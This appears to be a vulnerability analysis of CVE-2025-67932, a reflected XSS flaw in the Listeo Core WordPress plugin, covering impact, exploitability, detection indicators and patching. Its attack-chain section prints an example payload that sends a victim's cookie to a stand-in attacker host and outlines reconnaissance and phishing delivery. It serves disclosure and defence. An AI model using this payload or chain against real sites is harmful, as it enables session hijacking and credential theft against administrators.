CVE-2025-67932: 
WordPress vulnerability analysis and mitigation

CVE-2025-67932 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Listeo Core WordPress plugin developed by PureThemes. It affects all versions of the plugin prior to 2.0.19 and allows unauthenticated attackers to inject malicious scripts into web pages viewed by other users. The vulnerability was reported by João Pedro S Alcântara (Kinorth) on October 22, 2025, and publicly disclosed by Patchstack on January 6, 2026. The CVSS v3.1 base score is 7.1 (High) as assessed by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or escaped before being rendered in the browser, allowing an attacker to craft a malicious URL containing JavaScript payloads that execute in the victim's browser context when the link is visited. No authentication is required to craft the malicious request, but successful exploitation requires a privileged user (e.g., an administrator) to interact with the attacker-controlled link. The vulnerability falls under OWASP Top 10 category A3: Injection (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions, redirection to malicious sites, or defacement of the website. Because the attack targets users (including administrators) rather than the server directly, it poses a risk of privilege escalation if an admin's session cookie or credentials are captured (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no confirmed evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Listeo Core plugin in a version prior to 2.0.19 using tools like WPScan, Shodan, or Google dorks targeting Listeo-themed directories or plugin signatures.
2. Identify vulnerable parameter: Locate a URL parameter or form input within the Listeo Core plugin that reflects user-supplied input back into the HTML response without proper sanitization.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/listeo-page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or embedded in a forum post.
5. Capture session data: When the victim clicks the link and their browser executes the injected script, the attacker receives the victim's session cookie or other sensitive data at the attacker-controlled endpoint, enabling session hijacking or further unauthorized actions (Patchstack).

• Network: Outbound HTTP requests from victim browsers to unknown external domains immediately after visiting a Listeo Core page; unusual referrer headers in web server logs pointing to crafted URLs with encoded script tags.
• Logs: WordPress or web server access logs showing requests to Listeo Core plugin endpoints with URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query parameters.
• Browser/Client: Unexpected redirects or pop-ups on Listeo-powered pages; browser console errors related to cross-origin script execution.
• File System: New or modified files in the WordPress uploads or plugin directories that may indicate follow-on compromise after session hijacking (Patchstack).

The primary remediation is to update the Listeo Core plugin to version 2.0.19 or later, which contains the fix for this vulnerability. Site administrators who cannot immediately update should consider using a Web Application Firewall (WAF) such as Patchstack, which has issued a virtual patching/mitigation rule to block exploitation attempts until the plugin is updated. Additionally, restricting access to the WordPress admin panel and educating users about phishing links can reduce the risk of successful exploitation (Patchstack).

The vulnerability was discovered and disclosed by Patchstack, with credit to researcher João Pedro S Alcântara (Kinorth). No notable vendor statements beyond the Patchstack advisory or significant social media commentary have been identified for this CVE. The NVD has flagged this CVE as not prioritized for enrichment due to resource constraints (Patchstack).